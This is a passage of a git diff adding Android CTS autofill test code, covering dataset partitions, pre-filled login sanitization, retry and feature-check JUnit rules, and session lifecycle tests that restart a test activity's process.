+                            .setField(ID_L1C1, "l1c1", createPresentation("l1c1"))
+                            .setField(ID_L1C2, "l1c2", createPresentation("l1c2"))
+                            .build())
+                    .build();
+            sReplier.addResponse(response1);
+
+            // Trigger autofill.
+            mActivity.focusCell(1, 1);
+            sReplier.getNextFillRequest();
+
+            // Make sure UI is shown, but don't tap it.
+            sUiBot.assertDatasets("l1c1");
+            mActivity.focusCell(1, 2);
+            sUiBot.assertDatasets("l1c2");
+
+            // Prepare 2nd partition.
+            final CannedFillResponse response2 = new CannedFillResponse.Builder()
+                    .addDataset(new CannedDataset.Builder()
+                            .setField(ID_L2C1, "l2c1", createPresentation("l2c1"))
+                            .build())
+                    .build();
+            sReplier.addResponse(response2);
+
+            // Trigger autofill on 2nd partition.
+            mActivity.focusCell(2, 1);
+
+            // Make sure it was ignored.
+            sUiBot.assertNoDatasets();
+
+            // Make sure 1st partition is still working.
+            mActivity.focusCell(1, 2);
+            sUiBot.assertDatasets("l1c2");
+            mActivity.focusCell(1, 1);
+            sUiBot.assertDatasets("l1c1");
+
+            // Prepare 3rd partition.
+            final CannedFillResponse response3 = new CannedFillResponse.Builder()
+                    .addDataset(new CannedDataset.Builder()
+                            .setField(ID_L3C2, "l3c2", createPresentation("l3c2"))
+                            .build())
+                    .build();
+            sReplier.addResponse(response3);
+            // Trigger autofill on 3rd partition.
+            mActivity.focusCell(3, 2);
+
+            // Make sure it was ignored.
+            sUiBot.assertNoDatasets();
+
+            // Make sure 1st partition is still working...
+            mActivity.focusCell(1, 2);
+            sUiBot.assertDatasets("l1c2");
+            mActivity.focusCell(1, 1);
+            sUiBot.assertDatasets("l1c1");
+
+            //...and can be autofilled.
+            final FillExpectation expectation = mActivity.expectAutofill()
+                    .onCell(1, 1, "l1c1");
+            sUiBot.selectDataset("l1c1");
+            expectation.assertAutoFilled();
+        } finally {
+            setMaxPartitions(maxBefore);
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/PreFilledLoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/PreFilledLoginActivity.java
new file mode 100644
index 0000000..0c3a451
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/PreFilledLoginActivity.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+/**
+ * Same as {@link LoginActivity}, but with {@code username} and {@code password} fields pre-filled.
+ */
+public class PreFilledLoginActivity extends LoginActivity {
+
+    @Override
+    protected int getContentView() {
+        return R.layout.pre_filled_login_activity;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/PreFilledLoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/PreFilledLoginActivityTest.java
new file mode 100644
index 0000000..349149f
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/PreFilledLoginActivityTest.java
@@ -0,0 +1,106 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.Helper.ID_PASSWORD_LABEL;
+import static android.autofillservice.cts.Helper.ID_USERNAME;
+import static android.autofillservice.cts.Helper.ID_USERNAME_LABEL;
+import static android.autofillservice.cts.Helper.assertTextAndValue;
+import static android.autofillservice.cts.Helper.assertTextIsSanitized;
+import static android.autofillservice.cts.Helper.assertTextOnly;
+import static android.autofillservice.cts.Helper.findNodeByResourceId;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+
+import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
+import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
+import android.support.test.rule.ActivityTestRule;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+
+/**
+ * Covers scenarios where the behavior is different because some fields were pre-filled.
+ */
+public class PreFilledLoginActivityTest extends AutoFillServiceTestCase {
+
+    @Rule
+    public final ActivityTestRule<PreFilledLoginActivity> mActivityRule =
+            new ActivityTestRule<PreFilledLoginActivity>(PreFilledLoginActivity.class);
+
+    private PreFilledLoginActivity mActivity;
+
+    @Before
+    public void setActivity() {
+        mActivity = mActivityRule.getActivity();
+    }
+
+    @After
+    public void finishWelcomeActivity() {
+        WelcomeActivity.finishIt();
+    }
+
+    @Test
+    public void testSanitization() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .build());
+
+        // Change view contents.
+        mActivity.onUsernameLabel((v) -> v.setText("DA USER"));
+        mActivity.onPasswordLabel((v) -> v.setText(R.string.new_password_label));
+
+        // Trigger auto-fill.
+        mActivity.onUsername((v) -> v.requestFocus());
+
+        // Assert sanitization on fill request:
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+
+        // ...dynamic text should be sanitized.
+        assertTextIsSanitized(fillRequest.structure, ID_USERNAME_LABEL);
+
+        // ...password label should be ok because it was set from other resource id
+        assertTextOnly(findNodeByResourceId(fillRequest.structure, ID_PASSWORD_LABEL),
+                "DA PASSWORD");
+
+        // ...username and password should be ok because they were set in the SML
+        assertTextAndValue(findNodeByResourceId(fillRequest.structure, ID_USERNAME),
+                "secret_agent");
+        assertTextAndValue(findNodeByResourceId(fillRequest.structure, ID_PASSWORD), "T0p S3cr3t");
+
+        // Trigger save
+        mActivity.onUsername((v) -> v.setText("malkovich"));
+        mActivity.onPassword((v) -> v.setText("malkovich"));
+        mActivity.tapLogin();
+
+        // Assert the snack bar is shown and tap "Save".
+        sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+
+        // Assert sanitization on save: everything should be available!
+        assertTextOnly(findNodeByResourceId(saveRequest.structure, ID_USERNAME_LABEL), "DA USER");
+        assertTextOnly(findNodeByResourceId(saveRequest.structure, ID_PASSWORD_LABEL),
+                "DA PASSWORD");
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_USERNAME), "malkovich");
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "malkovich");
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/RequiredFeatureRule.java b/tests/autofillservice/src/android/autofillservice/cts/RequiredFeatureRule.java
new file mode 100644
index 0000000..17b2504
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/RequiredFeatureRule.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import android.support.test.InstrumentationRegistry;
+import android.util.Log;
+
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+/**
+ * Custom JUnit4 rule that does not run a test case if the device does not have a given feature.
+ */
+// TODO: move to common CTS codebase
+public class RequiredFeatureRule implements TestRule {
+    private static final String TAG = "RequiredFeatureRule";
+
+    private final String mFeature;
+    private final boolean mHasFeature;
+
+    public RequiredFeatureRule(String feature) {
+        mFeature = feature;
+        mHasFeature = hasFeature(feature);
+    }
+
+    @Override
+    public Statement apply(Statement base, Description description) {
+        return new Statement() {
+
+            @Override
+            public void evaluate() throws Throwable {
+                if (!mHasFeature) {
+                    Log.d(TAG, "skipping "
+                            + description.getClassName() + "#" + description.getMethodName()
+                            + " because device does not have feature '" + mFeature + "'");
+                    return;
+                }
+                base.evaluate();
+            }
+        };
+    }
+
+    public static boolean hasFeature(String feature) {
+        return InstrumentationRegistry.getContext().getPackageManager().hasSystemFeature(feature);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/RetryRule.java b/tests/autofillservice/src/android/autofillservice/cts/RetryRule.java
new file mode 100644
index 0000000..5955d4f
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/RetryRule.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import android.util.Log;
+
+import android.support.test.uiautomator.StaleObjectException;
+
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+/**
+ * Custom JUnit4 rule that retry tests when they fail due to a {@link RetryableException}.
+ */
+public class RetryRule implements TestRule {
+
+    private static final String TAG = "RetryRule";
+    private final int mMaxAttempts;
+
+    public RetryRule(int maxAttempts) {
+        if (maxAttempts < 2) {
+            throw new IllegalArgumentException(
+                    "Must retry at least once; otherwise, what's the point?");
+        }
+        mMaxAttempts = maxAttempts;
+    }
+
+    @Override
+    public Statement apply(Statement base, Description description) {
+        return new Statement() {
+
+            @Override
+            public void evaluate() throws Throwable {
+                Throwable caught = null;
+                for (int i = 1; i <= mMaxAttempts; i++) {
+                    try {
+                        base.evaluate();
+                        return;
+                    } catch (RetryableException | StaleObjectException e) {
+                        caught = e;
+                        Log.w(TAG,
+                                description.getDisplayName() + ": attempt " + i + " failed: " + e);
+                    }
+                }
+                throw caught;
+            }
+        };
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/RetryRuleTest.java b/tests/autofillservice/src/android/autofillservice/cts/RetryRuleTest.java
new file mode 100644
index 0000000..3b733f6
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/RetryRuleTest.java
@@ -0,0 +1,101 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.support.test.runner.AndroidJUnit4;
+import android.support.test.uiautomator.StaleObjectException;
+
+import org.junit.Test;
+import org.junit.runner.Description;
+import org.junit.runner.RunWith;
+import org.junit.runners.model.Statement;
+
+@RunWith(AndroidJUnit4.class)
+public class RetryRuleTest {
+
+    private final Description mDescription = Description.createSuiteDescription("Whatever");
+
+    private static final RetryableException sRetryableException =
+            new RetryableException("Y U NO RETRY?");
+
+    private static final StaleObjectException sStaleObjectException = new StaleObjectException();
+
+    private static class RetryableStatement<T extends Exception> extends Statement {
+        private final int mNumberFailures;
+        private int mNumberCalls;
+        private final T mException;
+
+        RetryableStatement(int numberFailures, T exception) {
+            mNumberFailures = numberFailures;
+            mException = exception;
+        }
+
+        @Override
+        public void evaluate() throws Throwable {
+            mNumberCalls ++;
+            if (mNumberCalls <= mNumberFailures) {
+                throw mException;
+            }
+        }
+
+        @Override
+        public String toString() {
+            return "RetryableStatement: failures=" + mNumberFailures + ", calls=" + mNumberCalls;
+        }
+    }
+
+    @Test
+    public void testPassOnRetryableException() throws Throwable {
+        final RetryRule rule = new RetryRule(2);
+        rule.apply(new RetryableStatement<RetryableException>(1, sRetryableException), mDescription)
+                .evaluate();
+    }
+
+    @Test
+    public void testFailOnRetryableException() throws Throwable {
+        final RetryRule rule = new RetryRule(2);
+        try {
+            rule.apply(new RetryableStatement<RetryableException>(2, sRetryableException),
+                    mDescription).evaluate();
+            throw new AssertionError("2ND CALL, Y U NO FAIL?");
+        } catch (RetryableException e) {
+            assertThat(e).isSameAs(sRetryableException);
+        }
+    }
+
+    @Test
+    public void testPassOnStaleObjectException() throws Throwable {
+        final RetryRule rule = new RetryRule(2);
+        rule.apply(new RetryableStatement<StaleObjectException>(1, sStaleObjectException),
+                mDescription)
+                .evaluate();
+    }
+
+    @Test
+    public void testFailOnStaleObjectException() throws Throwable {
+        final RetryRule rule = new RetryRule(2);
+        try {
+            rule.apply(new RetryableStatement<StaleObjectException>(2, sStaleObjectException),
+                    mDescription).evaluate();
+            throw new AssertionError("2ND CALL, Y U NO FAIL?");
+        } catch (StaleObjectException e) {
+            assertThat(e).isSameAs(sStaleObjectException);
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/RetryableException.java b/tests/autofillservice/src/android/autofillservice/cts/RetryableException.java
new file mode 100644
index 0000000..9b9d651
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/RetryableException.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+/**
+ * Exception that cause the {@link RetryRule} to re-try a test.
+ */
+public class RetryableException extends RuntimeException {
+
+    public RetryableException(String msg) {
+        super(msg);
+    }
+
+    public RetryableException(String format, Object...args) {
+        this(String.format(format, args));
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java b/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java
new file mode 100644
index 0000000..c5a0105
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java
@@ -0,0 +1,354 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.Helper.ID_LOGIN;
+import static android.autofillservice.cts.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.Helper.ID_USERNAME;
+import static android.autofillservice.cts.Helper.LANDSCAPE;
+import static android.autofillservice.cts.Helper.PORTRAIT;
+import static android.autofillservice.cts.Helper.assertTextAndValue;
+import static android.autofillservice.cts.Helper.eventually;
+import static android.autofillservice.cts.Helper.findNodeByResourceId;
+import static android.autofillservice.cts.Helper.getOutOfProcessPid;
+import static android.autofillservice.cts.Helper.runShellCommand;
+import static android.autofillservice.cts.Helper.setOrientation;
+import static android.autofillservice.cts.OutOfProcessLoginActivity.getStoppedMarker;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.PendingIntent;
+import android.app.assist.AssistStructure;
+import android.content.Intent;
+import android.content.IntentSender;
+import android.os.Bundle;
+import android.os.SystemClock;
+import android.view.autofill.AutofillValue;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Test the lifecycle of a autofill session
+ */
+public class SessionLifecycleTest extends AutoFillServiceTestCase {
+    private static final String USERNAME_FULL_ID = "android.autofillservice.cts:id/" + ID_USERNAME;
+    private static final String PASSWORD_FULL_ID = "android.autofillservice.cts:id/" + ID_PASSWORD;
+    private static final String LOGIN_FULL_ID = "android.autofillservice.cts:id/" + ID_LOGIN;
+    private static final String BUTTON_FULL_ID = "android.autofillservice.cts:id/button";
+    private static final String CANCEL_FULL_ID = "android.autofillservice.cts:id/cancel";
+
+    @Before
+    public void removeAllSessions() {
+        destroyAllSessions();
+    }
+
+    /**
+     * Prevents the screen to rotate by itself
+     */
+    @Before
+    public void disableAutoRotation() {
+        Helper.disableAutoRotation();
+    }
+
+    /**
+     * Allows the screen to rotate by itself
+     */
+    @After
+    public void allowAutoRotation() {
+        Helper.allowAutoRotation();
+    }
+
+    private void killOfProcessLoginActivityProcess() throws Exception {
+        // Waiting for activity to stop (stop marker appears)
+        eventually(() -> assertThat(getStoppedMarker(getContext()).exists()).isTrue());
+
+        // onStop might not be finished, hence wait more
+        SystemClock.sleep(1000);
+
+        // Kill activity that is in the background
+        runShellCommand("kill -9 %d",
+                getOutOfProcessPid("android.autofillservice.cts.outside"));
+    }
+
+    @Test
+    public void testDatasetAuthResponseWhileAutofilledAppIsLifecycled() throws Exception {
+        // Set service.
+        enableService();
+
+        // Start activity that is autofilled in a separate process so it can be killed
+        Intent outOfProcessAcvitityStartIntent = new Intent(getContext(),
+                OutOfProcessLoginActivity.class);
+        getContext().startActivity(outOfProcessAcvitityStartIntent);
+
+        // Set expectations.
+        final Bundle extras = new Bundle();
+        extras.putString("numbers", "4815162342");
+
+        // Create the authentication intent (launching a full screen activity)
+        IntentSender authentication = PendingIntent.getActivity(getContext(), 0,
+                new Intent(getContext(), ManualAuthenticationActivity.class),
+                0).getIntentSender();
+
+        // Prepare the authenticated response
+        ManualAuthenticationActivity.setResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField(ID_USERNAME, AutofillValue.forText("autofilled username"))
+                        .setPresentation(createPresentation("dataset")).build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .setExtras(extras).build());
+
+        CannedFillResponse response = new CannedFillResponse.Builder()
+                .setAuthentication(authentication, ID_USERNAME, ID_PASSWORD)
+                .setPresentation(createPresentation("authenticate"))
+                .build();
+        sReplier.addResponse(response);
+
+        // Trigger autofill on username
+        sUiBot.selectById(USERNAME_FULL_ID);
+
+        // Wait for fill request to be processed
+        sReplier.getNextFillRequest();
+
+        // Wait until authentication is shown
+        sUiBot.assertDatasets("authenticate");
+
+        // Change orientation which triggers a destroy -> create in the app as the activity
+        // cannot deal with such situations
+        setOrientation(LANDSCAPE);
+
+        // Delete stopped marker
+        getStoppedMarker(getContext()).delete();
+
+        // Authenticate
+        sUiBot.selectDataset("authenticate");
+
+        // Kill activity that is in the background
+        killOfProcessLoginActivityProcess();
+
+        // Change orientation which triggers a destroy -> create in the app as the activity
+        // cannot deal with such situations
+        setOrientation(PORTRAIT);
+
+        // Approve authentication
+        sUiBot.selectById(BUTTON_FULL_ID);
+
+        // Wait for dataset to be shown
+        sUiBot.assertDatasets("dataset");
+
+        // Change orientation which triggers a destroy -> create in the app as the activity
+        // cannot deal with such situations
+        setOrientation(LANDSCAPE);
+
+        // Select dataset
+        sUiBot.selectDataset("dataset");
+
+        // Check the results.
+        eventually(() -> assertThat(sUiBot.getTextById(USERNAME_FULL_ID)).isEqualTo(
+                "autofilled username"));
+
+        // Set password
+        sUiBot.setTextById(PASSWORD_FULL_ID, "new password");
+
+        // Login
+        sUiBot.selectById(LOGIN_FULL_ID);
+
+        // Wait for save UI to be shown
+        sUiBot.assertShownById("android:id/autofill_save_yes");
+
+        // Change orientation to make sure save UI can handle this
+        setOrientation(PORTRAIT);
+
+        // Tap "Save".
+        sUiBot.selectById("android:id/autofill_save_yes");
+
+        // Get save request
+        InstrumentedAutoFillService.SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertWithMessage("onSave() not called").that(saveRequest).isNotNull();
+
+        // Make sure data is correctly saved
+        final AssistStructure.ViewNode username = findNodeByResourceId(saveRequest.structure,
+                ID_USERNAME);
+        assertTextAndValue(username, "autofilled username");
+        final AssistStructure.ViewNode password = findNodeByResourceId(saveRequest.structure,
+                ID_PASSWORD);
+        assertTextAndValue(password, "new password");
+
+        // Make sure extras were passed back on onSave()
+        assertThat(saveRequest.data).isNotNull();
+        final String extraValue = saveRequest.data.getString("numbers");
+        assertWithMessage("extras not passed on save").that(extraValue).isEqualTo("4815162342");
+
+        eventually(() -> assertNoDanglingSessions());
+    }
+
+    @Test
+    public void testAuthCanceledWhileAutofilledAppIsLifecycled() throws Exception {
+        // Set service.
+        enableService();
+
+        // Start activity that is autofilled in a separate process so it can be killed
+        Intent outOfProcessAcvitityStartIntent = new Intent(getContext(),
+                OutOfProcessLoginActivity.class);
+        getContext().startActivity(outOfProcessAcvitityStartIntent);
+
+        // Create the authentication intent (launching a full screen activity)
+        IntentSender authentication = PendingIntent.getActivity(getContext(), 0,
+                new Intent(getContext(), ManualAuthenticationActivity.class),
+                0).getIntentSender();
+
+        CannedFillResponse response = new CannedFillResponse.Builder()
+                .setAuthentication(authentication, ID_USERNAME, ID_PASSWORD)
+                .setPresentation(createPresentation("authenticate"))
+                .build();
+        sReplier.addResponse(response);
+
+        // Trigger autofill on username
+        sUiBot.selectById(USERNAME_FULL_ID);
+
+        // Wait for fill request to be processed
+        sReplier.getNextFillRequest();
+
+        // Wait until authentication is shown
+        sUiBot.assertDatasets("authenticate");
+
+        // Delete stopped marker
+        getStoppedMarker(getContext()).delete();
+
+        // Authenticate
+        sUiBot.selectDataset("authenticate");
+
+        // Kill activity that is in the background
+        killOfProcessLoginActivityProcess();
+
+        // Cancel authentication activity
+        sUiBot.pressBack();
+
+        // Authentication should still be shown
+        sUiBot.assertDatasets("authenticate");
+    }
+
+    @Test
+    public void testDatasetVisibleWhileAutofilledAppIsLifecycled() throws Exception {
+        // Set service.
+        enableService();
+
+        // Start activity that is autofilled in a separate process so it can be killed
+        Intent outOfProcessAcvitityStartIntent = new Intent(getContext(),
+                OutOfProcessLoginActivity.class);
+        getContext().startActivity(outOfProcessAcvitityStartIntent);
+
+        CannedFillResponse response = new CannedFillResponse.Builder()
+                .addDataset(new CannedFillResponse.CannedDataset.Builder(
+                        createPresentation("dataset"))
+                        .setField(ID_USERNAME, "filled").build())
+                .build();
+        sReplier.addResponse(response);
+
+        // Trigger autofill on username
+        sUiBot.selectById(USERNAME_FULL_ID);
+
+        // Wait for fill request to be processed
+        sReplier.getNextFillRequest();
+
+        // Wait until dataset is shown
+        sUiBot.assertDatasets("dataset");
+
+        // Delete stopped marker
+        getStoppedMarker(getContext()).delete();
+
+        // Start an activity on top of the autofilled activity
+        Intent intent = new Intent(getContext(), EmptyActivity.class);
+        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+
+        getContext().startActivity(intent);
+
+        // Kill activity that is in the background
+        killOfProcessLoginActivityProcess();
+
+        // Cancel activity on top
+        sUiBot.pressBack();
+
+        // Dataset should still be shown
+        sUiBot.assertDatasets("dataset");
+    }
+
+    @Test
+    public void testAutofillNestedActivitiesWhileAutofilledAppIsLifecycled() throws Exception {
+        // Set service.
+        enableService();
+
+        // Start activity that is autofilled in a separate process so it can be killed
+        Intent outOfProcessAcvitityStartIntent = new Intent(getContext(),
+                OutOfProcessLoginActivity.class);
+        getContext().startActivity(outOfProcessAcvitityStartIntent);
+
+        // Prepare response for first activity
+        CannedFillResponse response = new CannedFillResponse.Builder()
+                .addDataset(new CannedFillResponse.CannedDataset.Builder(
+                        createPresentation("dataset1"))
+                        .setField(ID_USERNAME, "filled").build())
+                .build();
+        sReplier.addResponse(response);
+
+        // Trigger autofill on username
+        sUiBot.selectById(USERNAME_FULL_ID);
+
+        // Wait for fill request to be processed
+        sReplier.getNextFillRequest();
+
+        // Wait until dataset1 is shown
+        sUiBot.assertDatasets("dataset1");
+
+        // Delete stopped marker
+        getStoppedMarker(getContext()).delete();
+
+        // Prepare response for nested activity
+        response = new CannedFillResponse.Builder()
+                .addDataset(new CannedFillResponse.CannedDataset.Builder(
+                        createPresentation("dataset2"))
+                        .setField(ID_USERNAME, "filled").build())
+                .build();
+        sReplier.addResponse(response);
+
+        // Start nested login activity
+        Intent intent = new Intent(getContext(), LoginActivity.class);
+        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        getContext().startActivity(intent);
+
+        // Kill activity that is in the background
+        killOfProcessLoginActivityProcess();
+
+        // Trigger autofill on username in nested activity
+        sUiBot.selectById(USERNAME_FULL_ID);
+
+        // Wait for fill request to be processed
+        sReplier.getNextFillRequest();
+
+        // Wait until dataset in nested activity is shown
+        sUiBot.assertDatasets("dataset2");
+
+        // Tap "Cancel".
+        sUiBot.selectById(CANCEL_FULL_ID);
+
+        // Dataset should still be shown
+        sUiBot.assertDatasets("dataset1");
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/TimePickerClockActivity.java b/tests/autofillservice/src/android/autofillservice/cts/TimePickerClockActivity.java
new file mode 100644
index 0000000..82c4ae9
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/TimePickerClockActivity.java
@@ -0,0 +1,24 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+public class TimePickerClockActivity extends AbstractTimePickerActivity {
+
+    @Override
+    protected int getContentView() {
+        return R.layout.time_picker_clock_activity;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/TimePickerClockActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/TimePickerClockActivityTest.java
new file mode 100644
index 0000000..d8651b6
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/TimePickerClockActivityTest.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import android.support.test.rule.ActivityTestRule;
+
+import org.junit.Rule;
+
+public class TimePickerClockActivityTest extends TimePickerTestCase<TimePickerClockActivity> {
+
+    @Rule
+    public final ActivityTestRule<TimePickerClockActivity> mActivityRule =
+        new ActivityTestRule<TimePickerClockActivity>(TimePickerClockActivity.class);
+
+    @Override
+    protected TimePickerClockActivity getTimePickerActivity() {
+        return mActivityRule.getActivity();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/TimePickerSpinnerActivity.java b/tests/autofillservice/src/android/autofillservice/cts/TimePickerSpinnerActivity.java
new file mode 100644
index 0000000..0774e51
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/TimePickerSpinnerActivity.java
@@ -0,0 +1,24 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+public class TimePickerSpinnerActivity extends AbstractTimePickerActivity {
+
+    @Override
+    protected int getContentView() {
+        return R.layout.time_picker_spinner_activity;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/TimePickerSpinnerActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/TimePickerSpinnerActivityTest.java
new file mode 100644
index 0000000..ab86255
--- /dev/null
